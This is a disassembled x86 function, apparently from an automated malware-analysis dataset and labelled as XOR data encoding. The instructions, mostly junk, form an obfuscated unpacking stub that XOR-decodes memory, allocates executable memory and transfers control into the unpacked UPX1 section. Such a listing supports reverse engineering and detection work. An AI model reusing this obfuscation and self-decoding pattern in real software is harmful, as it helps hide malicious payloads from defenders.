Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3bcbaaef
mov ecx, 0xfcacd135
and ebx, ebx
popal
mov ebx, ecx
sub ebx, ecx
mov eax, 0
mov ecx, edi
not esi
and esi, esi
mov edx, ecx
mov esi, 0xe1012aaa
mov esi, 0xfcacd842
mov edi, edx
add esi, 1
mov esi, 0x26a8c2a9
and ebx, ebx
inc eax
dec ebx
and esi, ebx
cmp eax, 0x100876b
jne 0xa789c3
mov ebx, esi
or ebx, esi
or ecx, ebx
dec ecx
mov eax, 0xa78796
or esi, edi
mov edi, ecx
sub esi, 0xf60c52b5
mov edx, 0xa7898a
inc edi
add esi, edi
sub esi, 0x4e33bf62
mov ebx, dword [eax]
dec edi
inc esi
and ebx, 0xff
sub ecx, edi
mov esi, 0x573b5736
sub esi, 1
xor dword [edx], ebx
or ecx, esi
mov ecx, esi
inc edx
add esi, 0x82f236c7
sub esi, 1
inc eax
sub ecx, edi
add edi, 0xdf75f08a
cmp edx, entry0
jl 0xa78a18
add edi, 0x9ccb4906
not esi
sub ecx, 0xe87bf25d
or esi, esi
sub edi, esi
or esi, edx
dec ebx
mov ecx, 0xa7898e
mov edx, edi
mov edi, ebx
mov edx, ebx
mov ecx, dword [ecx]
add esi, edx
dec ebx
dec ebx
mov ecx, dword [ecx]
add edx, 0x4b1fc9bb
or edi, edi
push ecx
sub edi, 1
not ebx
mov edi, edx
mov ecx, 0xa7898a
and edx, ebx
dec edx
inc edx
mov ecx, dword [ecx]
sub ebx, edi
mov edx, edi
inc edx
mov ecx, dword [ecx]
sub ebx, esi
add edi, 0xaa438baf
sub esi, 0x696811ef
push 0xa78992
mov edx, 0xa7c70da5
sub ebx, edi
call ecx
sub edi, 0x6a474759
mov ebx, edi
mov ecx, dword [esp]
add esp, 4
not ebx
and edx, edx
mov edi, 0xc12bb94f
push 0xa7899f
inc ebx
mov ebx, 0x39ec40ef
push eax
sub edx, edi
or edi, edi
add edi, edi
call ecx
or edi, ebx
mov esi, edi
dec edx
push 0x40
add edi, 1
not edi
mov esi, edx
push 0x3000
sub esi, 0xf6f7d251
sub esi, 0x1e5cffd4
add edx, 0x280b535f
push 0x2000020e
or esi, edx
add ebx, ebx
inc ebx
sub esp, 4
mov dword [esp], 0
not ebx
add ebx, 0x24823bf4
and edi, esi
call eax
sub edi, 1
sub ebx, 0xef9c2ac
inc edi
add eax, 0x200001a1
sub ebx, 0x1d28d414
inc edi
mov ecx, 0x5fab3236
not edx
add ebx, 0x23f5d3c5
inc edx
mov dword [eax], ecx
not esi
not edx
or edi, ebx
mov ecx, dword [eax]
mov ebx, edx
or edi, esi
cmp ecx, 0x5fab3236
je 0xa78b7b
mov eax, 0
mov ecx, dword [eax]
sub edi, 0x13d8bf47
sub ebx, 0xe889bc41
inc esi
mov esi, ebx
add ecx, 0x97d92c71
sub ecx, ebx
or ebx, ebx
mov edx, section.UPX1
mov ebx, 0x7f317c63
mov ecx, 0x6b4a0631
sub ebx, 0xc4b8bf3
mov esi, 0xa78795
sub ecx, 0xba5e5e13
mov ecx, ebx
mov eax, 0
add ebx, 0x7d29e25a
mov ebx, 0xa3281767
mov edi, 0xa78796
add ecx, ebx
inc ebx
mov ebx, ecx
lea edi, [eax + edi]
mov ebx, ecx
mov ebx, 0x89a935b9
mov edi, dword [edi]
add ecx, ebx
mov ecx, ebx
sub ecx, 1
and edi, 0xff
mov ecx, 0x64d8ef99
inc ecx
add eax, 1
mov ebx, 0x75602e6b
dec ebx
cmp eax, 0x1f4
jne 0xa78c0b
mov eax, 0
add ebx, ecx
and ebx, ecx
mov ecx, ebx
inc ebx
not ecx
xor dword [edx], edi
not ebx
sub ecx, 0xd54a7e87
mov ebx, ecx
add edx, 2
add ecx, 1
and ecx, ecx
and ebx, ebx
cmp edx, esi
jl 0xa78bc6
inc ebx
and ecx, ecx
add ecx, 0xd083f06c
mov ecx, 0x56545ec5
sub ecx, ebx
mov edi, section.UPX1
inc esi
sub eax, 0xf45c9041
mov eax, esi
mov edx, section.UPX1
mov eax, esi
sub esi, 0x406ef9cf
mov ebx, 0xa78795
or eax, eax
add esi, 0xa9aabb51
mov ecx, 0
sub eax, 0x4d6b7861
dec eax
add esi, eax
mov cl, byte [edx]
mov eax, esi
mov esi, eax
mov eax, 0x846d077b
mov byte [edi], cl
not esi
sub eax, esi
inc edi
and esi, esi
sub eax, esi
add edx, 2
and eax, eax
sub esi, 0x4ec1d53
cmp edx, ebx
jle 0xa78c7e
add esi, 0x7085a814
or eax, esi
sub ecx, ebx
sub ecx, ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
add ebx, 0x7daacf06
and ecx, ecx
and ebx, ecx
ret